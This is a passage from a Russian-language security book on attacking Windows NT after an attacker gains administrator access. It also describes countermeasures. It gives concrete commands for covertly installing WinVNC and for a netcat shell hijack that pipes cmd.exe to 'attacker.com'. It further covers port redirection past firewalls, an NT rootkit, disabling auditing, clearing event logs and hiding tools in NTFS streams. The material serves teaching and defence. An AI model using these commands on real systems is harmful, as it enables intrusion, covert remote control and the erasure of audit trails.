К сожалению, необходимо отметить, что все описанные выше контрмеры существенно ослабляются тем обстоятельством, что разработчики программы ВО2К опубликовали ее исходный код. Это может привести к появлению модификаций Back Orifice, обнаружить которые будет не так просто. Поэтому более эффективное решение лежит не столько в технической, сколько в организационной плоскости, и состоит в обучении пользователей и объяснении им, насколько опасно запускать программы, полученные по электронной почте или загруженные из узлов Internet.

Удаленная атака на GUI системы NT с помощью WinVNC


Удаленное управление с помощью утилит командной строки — это хорошо, но все же NT является операционной системой с мощным графическим интерфейсом. Программа NetBus предоставляет возможность удаленного управления с помощью графического интерфейса, но версия, имеющаяся в нашем распоряжении во время написания книги, работает слишком медленно и к тому же нестабильно. Тем не менее, существует прекрасное средство, свободное от всех этих недостатков, — пакет Virtual Networking Computing (VNC), созданный кембриджской лабораторией AT&T и распространяемый через http: //www.uk.research.att.com/vnc (более подробное обсуждение VNC приведено в главе 13). Одна из причин, по которой VNC выгодно отличается от прочих программ аналогичного назначения (помимо столь примечательного факта, что VNC абсолютно бесплатна!), заключается в том, что ее установка через удаленное сетевое соединение выполняется не намного сложнее, чем локальная установка. Используя удаленный сеанс командной строки, который был рассмотрен выше, достаточно лишь установить на удаленный компьютер службу VNC и обеспечить ее скрытый запуск, внеся одно-единственное изменение в системный реестр. Ниже приведено краткое описание этой процедуры, но для того, чтобы лучше разобраться в методах управления VNC из командной строки, мы все же рекомендуем изучить полную документацию по VNC, которую также можно найти по указанному выше адресу URL.
Первый этап состоит в копировании исполняемого файла и библиотек VNC (WINVNC.EXE, VNCHooks.DLL И OMNITHREAD_RT.DLL) на удаленный компьютер, который после установки будет играть роль сервера. Для этого можно использовать любой каталог, но лучше всего "укрыть" эти файлы "глубоко в недрах" каталога %systemroot%. Необходимо также учитывать, что после запуска сервера последние версии WinVNC автоматически помещают небольшую зеленую пиктограмму на панели задач. Запуск из командной строки версий 3.3.2 и более ранних менее незаметен для пользователей (конечно, это не распространяется на список процессов, в котором без труда можно отыскать WinVNC. EXE).
После того как файл WINVNC.EXE скопирован, необходимо настроить доступ к VNC с использованием пароля, так как при запуске службы WINVNC по умолчанию на экране появляется диалоговое окно, требующее ввода пароля, прежде чем служба разрешит входящие соединение (обеспокоенность разработчиков вопросами безопасности просто умиляет!). Кроме того, службе WINVNC необходимо находиться в режиме ожидания входящих соединений, что также настраивается посредством графического интерфейса. Для того чтобы настроить соответствующие параметры программы, нужно напрямую внести необходимые изменения в удаленный системный реестр с помощью утилиты regini. exe, как это было сделано при удаленной установке NetBus.
Сначала нужно создать файл WINVNC. INI и внести в него подлежащие изменению параметры системного реестра и их значения. Приведенные в следующем примере значения были получены из реестра локального компьютера после установки на нем WinVNC с использованием утилиты regdmp из набора NTRK (бинарное представление пароля соответствует строке secret).
Вот содержимое файла WINVNC. INI.

HKEY_USERSX.DEFAULTXSoftware\ORL\WinVNC3
SocketConnect = REG_DWORD 0x00000001
Password = REG_BINARY 0x00000008
Ox57bf2d2e Ох8е6сbО6е

Затем с помощью утилиты regini эти параметры необходимо поместить в системный реестр удаленного компьютера.

С:\> regini -m \\192.168.202.33 winvnc.ini
HKEY_USERS\.DEFAULTXSoftware\ORL\WinVNC3
SocketConnect = REG_DWORD 0x00000001
Password = REG_BINARY 0x00000008 Ox57bf2d2e ОхЭе6сbО6е

Наконец установите программу WinVNC в качестве службы и запустите ее. В следующем примере показано, как это сделать с помощью удаленного сеанса командной строки. С:\> winvnc -install

С:\> net start winvnc
The VNC Server service is starting.
The VNC Server service was started successfully.

Теперь можно запустить приложение vncviewer и подключиться к удаленному компьютеру. Ниже показаны два диалоговых окна, в первом из которых приложение vnc viewer уведомляет пользователя о том, что установлен сеанс связи с "дисплеем О", имеющим IP-адрес 192.168.202.33. (Синтаксис узел-дисплей эквивалентен принятому в системе оконного интерфейса X Window системы UNIX. Все системы, работающие под управлением Windows, по умолчанию обозначаются как дисплей 0.) Второе диалоговое окно предназначено для ввода пароля (вы еще не забыли, какое слово мы выбрали в качестве пароля?).


Вуаля! Перед вами во всей своей красе появляется изображение рабочего стола удаленного компьютера, как показано на рис. 5.9. При этом указатель мыши ведет себя так, словно вы держите в руках не свою мышь, а мышь удаленного компьютера.
Очевидно, что возможности VNC изумительны: вы можете даже воспользоваться комбинацией клавиш <Ctrl+Alt+Del> для перезагрузки удаленной системы.

Остановка и удаление WinVNC


Самый простой способ остановки службы WinVNC и ее удаления состоит в использовании двух следующих команд.

net stop winvnc
winvnc -remove

Для удаления оставшихся в реестре параметров воспользуйтесь утилитой из набора NTRK REG.EXE, как показано в следующем примере.

C:\>reg delete \\192.168.202.33
HKEY_LOCAL_MACHINE\System\
CurrentControlSet\Services\WinVNC



Перенаправление портов

Выше было рассмотрено несколько программ, которые можно использовать для удаленного управления из командной строки. Все эти средства обсуждались в контексте установки непосредственного удаленного соединения. Однако, что делать в той ситуации, когда брандмауэр блокирует прямой доступ к целевому компьютеру? Подобную преграду взломщики могут обойти с помощью перенаправления портов (port redirection). Этот вопрос подробно будет изложен в главе 14, однако сейчас мы познакомимся с некоторыми средствами и приемами, которые могут оказаться полезными для хакинга компьютеров под управлением системы NT.
Как только взломщики успешно справились с "главным стражем" безопасности — брандмауэром, — для передачи всех пакетов "желанной цели" они могут воспользоваться механизмом перенаправления портов. Важно оценить всю опасность подобной деятельности, поскольку в данном случае взломщики могут получить доступ к любому компьютеру, расположенному позади брандмауэра. В процессе перенаправления осуществляется прослушивание определенных портов и передача пакетов к заданной вторичной цели. Ниже будут рассмотрены некоторые приемы перенаправления портов, которые можно вручную осуществить с помощью утилит netcat, rinetd и fpipe.
Схема процесса перенаправления портов представлена на рис. 14.4 в главе 14.

Захват командной оболочки м помощью netcat


Если имеется возможность поместить утилиту netcat на целевой компьютер, расположенный позади брандмауэра, то через любой требуемый порт можно получить "в свое распоряжение" удаленную командную оболочку. Такую ситуацию мы называем "захватом оболочки", поскольку в этом случае на рабочем компьютере взломщика сосредоточиваются все функции оболочки удаленной системы. Вот пример команды, запущенной взломщиком из удаленной командной строки. nс attacker.com 80 | cmd.exe | nс attacker.com 25
Если хакер на своем компьютере attacker.com с помощью утилиты netcat осуществляет прослушивание TCP-портов 80 и 25, и при этом порт 80 разрешает передачу входящих, а порт 25 — исходящих пакетов на/с компьютера-жертвы через брандмауэр, то эта команда позволяет "захватить" командную оболочку удаленной системы. На рис. 5.9 показан пример экрана хакерской системы: в верхнем окне содержатся входные команды, передаваемые через порт 80 (ipconfig), а в нижнем окне представлены результаты, полученные с узла-жертвы через порт 25.



Рис. 5.9. Используя утилиту netcat на компьютере взломщика и на целевом узле, можно захватить командную оболочку. Команды, введенные в верхнем окне на рисунке, выполняются на удаленной системе, а результаты отображаются в нижнем окне

Утилита rinetd


Реализация перенаправления портов с помощью трех настроенных вручную сеансов netcat может оказаться далеко не наилучшим способом. Для этого можно воспользоваться различными утилитами, специально предназначенными для перенаправления портов. Эти средства можно найти в Internet. Одной из наиболее мощных утилит является rinetd — сервер перенаправления Internet Томаса Боутела (Thomas Boutell), который можно найти по адресу http://www.boutell.com/rinetd/index.html. С ее помощью можно перенаправить TCP-соединения с одного IP-адреса и порта на другой. Утилита rinetd функционирует подобно datapipe (см. главу 14). Существует также версия, поддерживающая интерфейс Win32 (включая 2000), а также Linux. Утилиту rinetd очень легко использовать: достаточно просто создать конфигурационный файл, содержащий правила передачи пакетов, в следующем формате.
адрес_привязки порт_привязки адрес_соединения порт_соединения
Затем нужно запустить команду rinetd -с <имя_файла_настройки>. Как и утилита netcat, rinetd функционирует через неправильно настроенный брандмауэр.

Утилита fpipe


Утилита fpipe — средство передачи/перенаправления исходных пакетов TCP через заданный порт. Она разработана в компании Foundstone, Inc., к которой авторы этой книги имеют непосредственное отношение. Утилита fpipe позволяет создать поток TCP и дополнительно задать требуемый исходный порт. Ее удобно применять для тестового проникновения через брандмауэры, разрешающие прохождение определенных типов пакетов во внутреннюю сеть.
Работа утилиты fpipe основана на перенаправлении портов. Запустите ее, задав прослушиваемый порт сервера, порт назначения удаленного узла (порт, которого требуется достичь с внутренней стороны брандмауэра) и (дополнительно) номер требуемого локального исходного порта. После запуска утилита fpipe будет ожидать, пока клиент соединится с прослушиваемым портом. После этого будут установлено новое соединение с целевым компьютером и портом, заданным в качестве локального исходного порта. Таким образом будет активизирован замкнутый контур. После установки полного соединения утилита fpipe будет передавать все данные, полученные через входящее соединение, на удаленный порт назначения, расположенный позади брандмауэра, и возвращать их обратно системе-инициатору. Это аналогично установке нескольких сеансов netcat, однако утилита fpipe позволяет выполнить ту же задачу абсолютно прозрачно.
Рассмотрим использование утилиты fpipe для перенаправления данных из взломанной системы с запущенным сервером telnet, расположенной позади брандмауэра, на котором заблокирован порт 23 (telnet), однако открыт порт 53 (DNS), Как правило, подключиться к TCP-порту, используемому сервером telnet, напрямую нельзя. Однако при использовании утилиты fpipe и переправлении данных в порт TCP 53 эту задачу все же можно выполнить. На рис. 5.10 показано перенаправление данных с использованием утилиты fpipe, запущенной на целевом узле.
Простое соединение с портом 53 на этом узле позволяет "захватить" взломщику поток telnet.



Рис. 5.10. Утилита перенаправления fpipe, запущенная на удаленном узле

Самой примечательной особенностью утилиты fpipe является возможность задать исходный порт. В процессе тестового проникновения это зачастую необходимо для обхода брандмауэра или маршрутизатора, передающего лишь данные, предназначенные определенным портам (например, порту TCP 25, используемому почтовым сервером). Обычно клиентским соединениям TCP/IP назначаются исходные порты с большими номерами, которые брандмауэр, как правило, пропускает через фильтр. Однако тот же брандмауэр должен пропускать данные DNS (фактически, он это и делает). С помощью утилиты fpipe для потока данных можно принудительно задать определенный исходный порт, в данном случае порт DNS. С этого момента этот поток будет рассматриваться брандмауэром как данные "разрешенной" службы и, таким образом, будет пропускаться во внутреннюю сеть.

Пользователи должны знать, что если при задании порта-источника исходящего соединения был использован параметр -в и это соединение было закрыто, может оказаться невозможным установить его повторно (утилита fpipe сообщит, что адрес уже используется) до того момента, пока не истекут интервалы ожидания TIMEJHAIT и CLOSEJHAIT, определяемые протоколом TCP. Эти интервалы ожидания могут варьироваться в диапазоне от 30 секунд до четырех минут и более, в зависимости от используемой операционной системы и ее версии. Эти интервалы ожидания определяются протоколом TCP и не являются ограничением самой утилиты fpipe. Причина возникновения такой ситуации заключается в том, что утилита fpipe пытается установить новое соединение с удаленным узлом с применением тех же комбинаций локальных/удаленных адреса/порта IP, что и в предыдущем сеансе. Новое же соединение не может быть установлено до тех пор, пока стеком протоколов TCP не будет решено, что предыдущее соединение не было полностью завершено.



Основные контрмеры против атак, направленных на расширение привилегий

Как же избавиться от всех программ, установленных в ходе изучения вами данной главы, и "залатать" все оставшиеся "дыры" в защите? Поскольку многие из них были созданы с доступом на уровне администратора, что позволяет использовать все аспекты архитектуры NT, а большинство нужных нам файлов могли быть переименованы и (или) настроены десятками различных способов, эта задача довольно нетривиальна. Мы предлагаем следующие решения общего характера, затрагивающие четыре основные области, к которым так или иначе относятся описываемые в данной главе вопросы: имена файлов, параметры системного реестра, процессы и порты.

Для ознакомления с некоторыми дополнительными контрмерами против описанных атак мы настоятельно рекомендуем прочитать о "потайных ходах" в главе 14.

Если взломщику удалось получить привилегии администратора, то лучшим выходом из ситуации является полная переустановка системного программного обеспечения с использованием проверенных носителей. Искушенный взломщик может настолько хорошо скрыть определенные "потайные ходы", что их не удастся обнаружить даже опытным исследователям. Этот совет дан в основном для создания полноты картины. Его не рекомендуется применять при организации подобных атак.

Имена файлов


Контрмеры, построенные на использовании имен файлов, по всей видимости, наименее эффективны, поскольку любой мало-мальски соображающий взломщик либо переименует файлы, либо предпримет другие меры, чтобы скрыть их (см. ниже раздел "Сокрытие следов"). Тем не менее, обезопасив себя в этом отношении, вы сможете еще на "дальних подступах" обнаружить хотя бы наименее изобретательных взломщиков.
Мы уже перечисляли имена файлов, на которые необходимо обратить внимание в первую очередь: remote.exe, пс.exe (netcat), rinetd.exe, NBSvr.exe и patch.exe (серверы NetBus), WinVNC.exe, VNCHooks.dll и omnithread_rt.dll. Если вы обнаружите, что данные файлы появились на сервере без вашего ведома, тут же начните расследование — по "горячим следам" легче установить, кто и зачем это сделал.
Кроме того, будьте очень внимательны к любым файлам, которые находятся в разных каталогах вида Start Menu\PROGRAMS\STARTUP\%username% (расположенных в каталоге %SYSTEMROOT%\PROFILES). Все программы, помещенные в такие папки, будут автоматически запускаться в процессе загрузки (позднее мы еще вернемся к этому вопросу).
Хорошей превентивной мерой, позволяющей идентифицировать изменения файловой системы, является использование средств подсчета контрольных сумм, подобных тем, которым посвящен раздел "Набор Rootkit — Полный Взлом Системы" ниже в этой главе.

Параметры системного реестра


В отличие от утомительного поиска файлов с определенными именами в надежде, что они не были изменены, поиск параметров системного реестра может оказаться особенно эффективным, поскольку большинство из рассмотренных программ помешает строго определенные параметры в строго определенные места системного реестра. Хорошим местом для начала поиска являются группы параметров HKLM\SOFTWARE и HKEY_USERS\ .DEFAULT\Software, в которых большинство устанавливаемых приложений помещают свои параметры. В частности, утилиты NetBus Pro и WinVNC сохраняют свои параметры следующим образом.
 HKEY_USERS\.DEFAULTASoftware\ORL\WinVNC3  HKEY_LOCAL_MACHINE\SOFTWARE\NetSolutions\NetBus Server С помощью утилиты командной строки REG.EXE, входящей в состав NTRK, удалить данные параметры из реестра довольно просто, в том числе и на удаленных компьютерах. При этом используется следующий синтаксис.
reg delete [параметр] \\компьютер
Например: С:\>reg delete HKEY_USERS\.DEFAULT\Sofware\ORL\WinVNC3 \\192.168.202.33

Параметры системного реестра, управляющие запуском программ в процессе загрузки


Основываясь на своем опыте, можем отметить, что практически все взломщики помещают параметры своих программ в стандартную группу параметров системного реестра, управляющих запуском приложений при загрузке Windows. Поэтому на предмет наличия вредоносных или подозрительных параметров нужно регулярно проверять соответствующие области системного реестра, перечисленные ниже.
 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, а также RunOnce, RunOnceEx, RunServices. Кроме того, необходимо как можно жестче ограничить доступ пользователей к этим группам параметров. По умолчанию группа EVERYONE имеет разрешения Set value к группе параметров HKLM\ . . \. . \Run. Для того чтобы отменить эти привилегии, воспользуйтесь командой Security>Permissions в редакторе системного реестра regedt32.
Рассмотрим небольшой пример. На приведенном ниже рисунке показано окно редактора системного реестра, в котором отображается информация о программе netcat, запускающейся при каждой загрузке Windows (группа параметров HKLM\ . . \ . . \Run) для прослушивания порта 8080.


В данном случае взломщик в любой момент может скрытно подключиться к системе, по крайней мере до тех пор, пока администратор, взявшись за ум, не проверит системный реестр и не удалит из него соответствующий параметр.
Кроме того, не забудьте проверить также каталоги %systemroot%\profiles\ %sername%\Start Menu\programs\startupV Любые помещенные в них исполняемые файлы будут автоматически запускаться при каждой загрузке!

Процессы


Для обнаружения тех хакерских инструментов, которые нельзя переименовать или скрыть каким-либо другим способом, можно проанализировать список выполняющихся на компьютере процессов. Например, с помощью команды AT можно запланировать задание, которое просматривает список процессов и удаляет из него такие обнаруженные процессы, как remote.exe или пс.ехе. Поскольку для использования сервера remote в системном администрировании нет особых причин (особенно, если учесть, что эта утилита не выполняет аутентификации), то для периодического удаления ее из списка процессов можно использовать команду kill.exe из набора NTRK. В следующем примере показано, как с помощью команды AT запланировать задание, которое будет выполняться каждый день в шесть часов утра и удалять процесс remote. Это немного грубо, но зато эффективно — вам остается лишь настроить время запуска в соответствии со своими предпочтениями.

C:\>at 6А /е:1
""kill remote.exe""
Added a new job with job ID = 12
C:\>at Status ID Day Time Command Line
12 Each 1 6:00 AM kill remote.exe
C:\>kill remote.exe
process #236 [remote.exe] killed

Для этих же целей можно использовать утилиту rkill.exe из набора NTRK. Она отличается от kill. exe тем, что может выполняться на удаленном компьютере, а также тем, что в отличие от утилиты kill.exe, нуждается в предоставлении ей в качестве параметра идентификатора удаляемого процесса (PID — Process ID). PID процесса удаленного компьютера можно получить с помощью утилиты pulist.exe, которая также входит в состав NTRK. Можно создать целую автоматизированную систему, в которой регулярно запускается утилита pulist и собирает информацию о выполняющихся на узлах сети запрещенных процессах с последующей передачей этой информации rkill. Конечно, еще раз нужно оговориться, что такую систему очень легко обойти, присвоив выполняемому файлу remote.exe какое-нибудь другое, не вызывающее подозрений имя, например WINLOG.EXE. Однако она сможет эффективно противостоять процессам, которые нельзя переименовывать, например winVNC. EXE.

Порты


Даже если такие утилиты, как remote или пс, были переименованы, утилита netstat поможет выявить их присутствие по наличию портов, находящихся в состоянии ожидания или соединения. Периодический запуск netstat с целью проверки подобных соединений — это иногда наилучший способ найти их. В следующем примере показано, как утилита netstat, запущенная на целевом сервере в то время, когда взломщик подключился к нему с помощью утилит remote, nc и установил соединение с портом 8080, отображает результаты опроса портов (описание параметра -an можно узнать, введя в командной строке команду netstat /?). Обратите внимание, что в соединении remote используется порт TCP 139, а утилита netcat находится в состоянии ожидания и имеет одно установленное соединение с портом TCP 8080 (остальные данные, отображаемые netstat, удалены для наглядности).

С:\> netstat -an
Active Connections
Proto Local Address Foreign Address State
TCP 192.168.202.44:139 0.0.0.0:0 LISTENING
TCP 192.168.202.44:139 192.168.202.37:1817 ESTABLISHED
TCP 192.168.202.44:8080 0.0.0.0:0 LISTENING
TCP 192.168.202.44:8080 192.168.202.37:1784 ESTABLISHED

Из приведенного фрагмента листинга команды netstat видно, что наилучшей защитой против использования утилиты remote является блокирование доступа к портам 135-139 потенциальных целей или на уровне брандмауэра либо отключение привязки NetBIOS для незащищенных адаптеров, как описывалось в разделе "Контрмеры: Защита От Подбора Пароля" выше в данной главе.
С помощью конвейера, организованного между командами netstat и find, можно получить данные об определенных портах. Так, с помощью следующей команды выполняется поиск серверов NetBus, прослушивающих порт по умолчанию, netstat -an| find "12345"
Утилита fport от компании Foundstone (http://www.foundstone.com) позволяет получить комбинированную информацию о процессах и портах. Она предоставляет перечень всех активных сокетов и идентификаторов процессов, использующих соединение. Вот пример ее результатов.

FPORT - Process port mapper
Copyright (с) 2000, Foundstone, Inc.
http://www.foundstone.com
PID NAME TYPE PORT
184 IEXPLORE UDP 1118
249 OUTLOOK UDP 0
265 MAPISP32 UDP 1104
265 MAPISP32 UDP 0



Набор Rootkit — полный взлом системы

А что, если даже сам код операционной системы окажется под контролем взломщика? Эта идея достаточно хорошо опробована для платформы UNIX. Закономерно, что для замены стандартных исполняемых файлов "троянскими конями" обычно требуется получить учетную запись root системы UNIX на целевом компьютере. Наборы программ, выполняющих эту операцию, получили название "отмычек". "Отмычки", применяемые в UNIX, подробно рассматриваются в главе 8, а обсуждение "отмычек" вообще можно найти в главе 14.

Отмычки" NT/2000


Нет ничего удивительного в том, что в 1999 году благодаря группе Грега Хогланда (Greg Hogland, http://www.rootkit.com) система Windows NT/2000 "приобрела" свой собственный набор "отмычек". Грег застал врасплох сообщество Windows, продемонстрировав рабочий прототип таких инструментов, который способен выполнять сокрытие параметров системного реестра и "подмену" исполняемых файлов. Этот набор можно использовать в исполняемых файлах "троянских коней" без изменения их содержимого. Все эти трюки основываются на использовании перехвата функций (function hooking). Таким образом можно "модифицировать" ядро NT, в результате чего будут захвачены системные вызовы. С помощью набора "отмычек" можно скрыть процесс, параметр системного реестра или файл, а также перенаправить перехваченный вызов функциям "троянских коней". Полученный результат способен превзойти ожидания от внедрения "троянских коней": пользователь не может быть уверен даже в целостности исполняемого кода.
В момент написания этой книги набор "отмычек" систем NT/2000 по-прежнему оставался на стадии альфа-версии и в основном предназначался для демонстрации наиболее важных особенностей, а не для реального применения. Распространяемый комплект состоит из двух файлов: _root_.sys и deploy.exe. При запуске файла deploy.exe набор "отмычек" будет установлен и запущен.
После установки активизируется режим сокрытия параметров системного реестра. Любой параметр или значение, начинающиеся с шести символов _root_, будут скрыты для просмотра с помощью любого из редакторов regedit.exe или regedt32.exe. Любой исполняемый файл, имя которого будет начинаться с _root_, не будет виден. С помощью копии редактора системного реестра regedit.exe, переименованной в файл _root_regedit.exe, можно просмотреть все скрытые параметры. Тем самым взломщику предоставляется прекрасный "потайной ход", с использованием которого можно приступить к ручной работе без отключения режима маскирования "набора отмычек".
В альфа-версии средство перенаправления исполняемых файлов позволяет выявлять выполнение файлов с именами, начинающимися с _root_, и перенаправлять их результаты файлу С: \calc.exe (жестко заданный режим, не позволяющий взломщику немедленно получить долгожданную информацию, однако наглядно демонстрирующий его потенциальную злонамеренность).
Грег также распространяет консоль удаленного управления RogueX из набора "отмычек" с изящным интерфейсом. Она находится на стадии разработки и имеет ограниченные функциональные возможности (в частности, позволяет инициировать сканирование портов удаленного узла, на котором установлен набор "отмычек").

Контрмеры: защита от набора "отмычек"


Если вы не можете доверять даже команде dir, значит, пришло время признать себя побежденным: создайте резервную копию важных данных (кроме двоичных файлов!), удалите все программное обеспечение и переустановите его с проверенных носителей. На полагайтесь на резервные копии, поскольку неизвестно, в какой момент взломщик получил контроль над системой, — вы можете восстановить тех же самых "троянских коней".
Сейчас важно подчеркнуть одно из золотых правил обеспечения безопасности и восстановления после сбоев: известные состояния (known states) и повторяемость (repeatability). Производственные системы зачастую должны быть быстро переустановлены, так что хорошо документированная и достаточно автоматизированная процедура установки позволит сэкономить много времени. Наличие проверенных носителей, готовых для выполнения процедуры восстановления, также достаточно важно. Если под рукой имеется компакт-диск с полностью сконфигурированным образом Web-сервера, то выигрыш во времени окажется еще более значительным. Другим хорошим приемом является документирование процесса настройки производственного режима эксплуатации, а не промежуточного режима, поскольку в процессе построения системы или ее обслуживания могут появиться изъяны в системе защиты (появления новых совместно используемых ресурсов и т.д.). Убедитесь, что в вашем распоряжении имеется контрольный список или автоматизированный сценарий возврата в производственный режим.
Подсчет контрольных сумм также оказывается хорошей защитой против использования наборов "отмычек", однако этот прием нужно применять к системе в исходном состоянии (т.е. такой подход представляет собой превентивную меру, которая окажется бесполезной после возникновения неприятностей). Средства, подобные свободно распространяемой утилите MDSsum, способны "снимать" образы файлов и уведомлять о нарушении их целостности при возникновении изменений. Для системы Windows двоичный код утилиты MDSsum можно найти по адресу http: //sourceware.cygnus.com/cygwin/. С ее помощью для файла можно вычислить или проверить профильное сообщение (message digest) длиной 128 бит. При этом применяется популярный алгоритм MD5 Рона Райвеста (Ron Rivest) из лаборатории MIT Laboratory for Computer Science and RSA Security. Этот алгоритм описан в документе RFC 1321. В следующем примере утилита MDSsum показана в работе в процессе генерации контрольной суммы для файла с последующей ее проверкой.

D:\Toolbox>md5sum d:\test.txt > d:\test.md5
D:\Toolbox>cat d:\test.md5
efd3907b04b037774d831596f2clbl4a d:\Xtest.txt
D:\Toolbox>md5sum —check d:\test.md5
d:\Xtest.txt: OK

К сожалению, утилита MDSsum одновременно работает лишь с одним файлом (конечно, использование сценариев несколько смягчает это неудобство).
К более эффективным средствам выявления вторжений в файловую систему относится хорошо известная утилита Tripwire, которую можно найти по адресу http://www.tripwire.com. С ее помощью можно выполнить аналогичный подсчет контрольных сумм для широкого диапазона систем.

Перенаправление исполняемых файлов, выполняемое набором "отмычек" системы NT/2000, теоретически может нейтрализовать подсчет контрольных сумм. Однако поскольку код при этом не изменяется, но в то же время "захватывается" и передается через другую программу, то такой прецедент все же можно выявить.

Необходимо упомянуть еще несколько важных утилит, предназначенных для проверки содержимого двоичных файлов. К ним относится старая утилита UNIX strings, перенесенная на платформу Windows (также разработана компанией Cygnus), BinText от Робина Кейра  и мощный редактор текста/ шестнадцатеричных данных UltraEdit32 для Windows, который можно найти по адресу http: //www.ultraedit.com. Мы считаем, что редактор BinText лучше всего поместить в папку SendTo, так чтобы его можно было активизировать при щелчке правой кнопкой мыши на имени файлов в проводнике Windows. Для этих же целей редактор UltraEdit32 помещает в контекстное меню соответствующую команду.
И наконец, относительно набора "отмычек" NT/2000 Греша можно сказать, что наличие файлов deploy.exe и _root_.sys служит явным подтверждением нападения (или как минимум любознательности хозяина компьютера). К счастью, запуск и завершение набора "отмычек" можно выполнить с использованием команды net.

net start _root_
net stop _root_

В Windows 2000 появилось средство защиты файлов операционной системы (Windows File Protection), которое предотвращает перезапись системных файлов, установленных программой инсталляции Windows 2000 (для этого около 600 файлов хранится в папке %systemroot%). В последних сообщениях, появившихся в бюллетене NTBugtraq, содержится информация о том, что систему WFP можно обойти, особенно, если ранее были получены привилегии администратора.



Сокрытие следов

Как только злоумышленник получит права администратора, он, скорее всего, постарается скрыть факт своего присутствия в системе. Затем, получив всю интересующую его информацию, он создаст потайные ходы и примет все меры, чтобы спрятать установленные им утилиты. Если с обеими задачами он справится успешно, то подготовка и проведение повторной атаки займет у него гораздо меньше времени.



Отключение аудита

Если владелец взламываемой системы хоть немного беспокоится о безопасности, он обязательно включит режим аудита, о чем мы уже говорили выше в данной главе. Поскольку ведение журналов может снизить производительность интенсивно работающих серверов, особенно если регистрируются такие события, как, например, успешное выполнение функций управления пользователями и группами (флажок Success для события User and Group Management в диалоговом окне Audit Policy диспетчера пользователей), многие администраторы NT либо вообще не включают функций контроля, либо включают лишь некоторые из них. Однако первое, что делает злоумышленник, пытаясь получить привилегии администратора, проверяет, активизирован ли режим аудита, чтобы случайно не "засветиться". Утилита auditpol из набора NTRK позволяет управлять этим процессом. В следующем примере показано, как с помощью утилиты auditpol отключается режим аудита на удаленном компьютере.

С:\> auditpol /disable
Running ...
Local audit information changed successfully ...
New local audit policy . . .
(0) Audit Disabled
AuditCategorySystem = No
AuditCategoryLogon = Failure
AuditCategoryObjectAccess = No

Закончив работу, взломщик может снова включить режим аудита с помощью команды auditpol /enable.



Очистка журнала регистрации событий

Если деятельность, связанная с получением статуса администратора, оставила красноречивые следы в журнале регистрации событий системы NT, с помощью приложения просмотра событий взломщик может просто стереть все записи журнала. Для этого злоумышленнику достаточно запустить приложение Event Viewer на своем компьютере и подключиться к узлу, к которому он получил доступ. После выполнения аутентификации взломщик может открывать, читать и очищать журналы регистрации событий удаленного узла. При удалении уничтожаются все записи, кроме одной, которая сообщает о том, что журнал регистрации был очищен посторонним. Конечно, даже такого сообщения вполне достаточно, чтобы забить тревогу, но, к сожалению, в распоряжении злоумышленника имеются и другие способы. Например, он может найти файлы журналов в каталоге \winnt\system32 и отредактировать их вручную, хотя это не так-то просто, учитывая сложность синтаксиса журналов NT.
Одним из средств, значительно упрощающих эту задачу, является утилита Джеспера Лорицена (Jesper Lauritsen). Например, следующая команда обеспечит очистку журнала безопасности на удаленном сервере joel (подразумевается, что необходимый уровень привилегий имеется). C:\>elsave -s \\joel -1 "Security" -С



Скрытие файлов

Если злоумышленнику удастся сохранить на взломанной системе установленные им программы, это значительно облегчит его задачу при повторном проникновении. Но, с другой стороны, именно по наличию неизвестно откуда взявшихся программ системный администратор может судить о том, что компьютер был взломан. Таким образом, злоумышленнику нужно предпринять какие-то шаги, чтобы как можно лучше скрыть файлы, которые потребуется запустить при последующих атаках.

attrib


Самый простой способ сокрытия файлов состоит в том, чтобы после их копирования в выбранный каталог воспользоваться старой командой DOS attrib, как показано в следующем примере.
attrib +h [каталог]
После использования такой команды при просмотре содержимого каталога из командной строки все файлы и каталоги окажутся скрытыми. Однако эта команда окажется бесполезной, если в проводнике Windows установлен режим Show All Files.

Использование потоков в файлахМТРЗ


Если на целевом узле используется файловая система NTFS, то для сокрытия файлов взломщик может воспользоваться еще одним приемом. Дело в том, что система NTFS поддерживает несколько потоков (stream) информации внутри файла. Система поддержки потоков в NTFS трактуется компанией Microsoft как "механизм добавления дополнительных атрибутов или информации к файлу без реструктуризации файловой системы". Например, потоки используются при включенном режиме совместимости NTFS с файловой системой Macintosh. Однако к этому же механизму можно прибегнуть и для сокрытия в потоках набора инструментов, установленных хакером.
В следующем примере показано, как исполняемый файл утилиты netcat помещается в поток, присоединенный к файлу oso00l.009, находящемуся в каталоге winnt\system32\os2. Впоследствии этот файл может быть извлечен для взлома других удаленных систем. Этот файл был выбран из-за того, что он вряд ли вызовет подозрения, но вместо него можно использовать любой другой файл.
Для того чтобы создать файловый поток, нужно иметь в своем распоряжении утилиту ср из набора NTRK, поддерживающую стандарт POSIX. Синтаксис ее использования прост. Через двоеточие, помещенное после имени файла-контейнера нужно указать имя записываемого в поток файла,
 ср <файл> oso00l.009:<файл>
Например, 
ср nc.exe oso00l.009:nс.ехе
Данная команда помещает файл nc.exe в поток nc.exe файла oso00l. 009. Для того чтобы извлечь утилиту netcat из потока, необходимо воспользоваться следующей командой, ср oso00l.009:nc.exe nc.exe
При этом изменится дата модификации файла oso00l. 009, но его размер останется прежним (некоторые версии утилиты ср не изменяют даты). Таким образом, скрытые файлы, объединенные с помощью механизма потоков с обычными файлами операционной системы, очень трудно обнаружить.
Для удаления файла, находящегося в потоке, необходимо скопировать файл-носитель на диск, отформатированный в системе FAT, а затем скопировать его обратно на диск с файловой системой NTFS.
Файл с несколькими потоками по-прежнему можно запустить на выполнение. Правда, из-за ограничений командного интерпретатора cmd. exe этого нельзя сделать непосредственно, т.е. введя имя файла в командной строке (например, oso00l. 009: nс. ехе), но зато можно воспользоваться командой START, как показано в следующем примере, start oso00l.009:nс.ехе

Контрмеры: поиск потоков


Единственным надежным средством, с помощью которого можно обнаружить потоки в файлах NTFS, является утилита Streamfinder компании March Information Systems. Недавно ее приобрела компания Internet Security Systems (ISS), которая, по всей видимости, больше не будет распространять эту утилиту через европейский Web-узел. Копию утилиты Streamfinder можно получить по адресу http://www.hackingexposed.com. Еще одним хорошим средством выявления файловых потоков является утилита sf ind Ди-джея Гласера (JD Glaser).



Резюме


В этой главе мы рассмотрели настолько широкий спектр возможных атак Windows NT, что у многих читателей может сложиться ошибочное представление о недостаточно надежной системе защиты этой операционной системы. Если это так, значит, мы не справились со стоявшими перед нами задачами. В таком случае хотелось бы еще раз подчеркнуть, что удаленный взлом практически не имеет шансов на успех без привилегий администратора, а получить эти привилегии можно лишь некоторыми хорошо известными способами: путем подбора пароля, его перехвата из сетевого потока данных или с использованием методов социальной инженерии, примененных к доверчивым служащим.
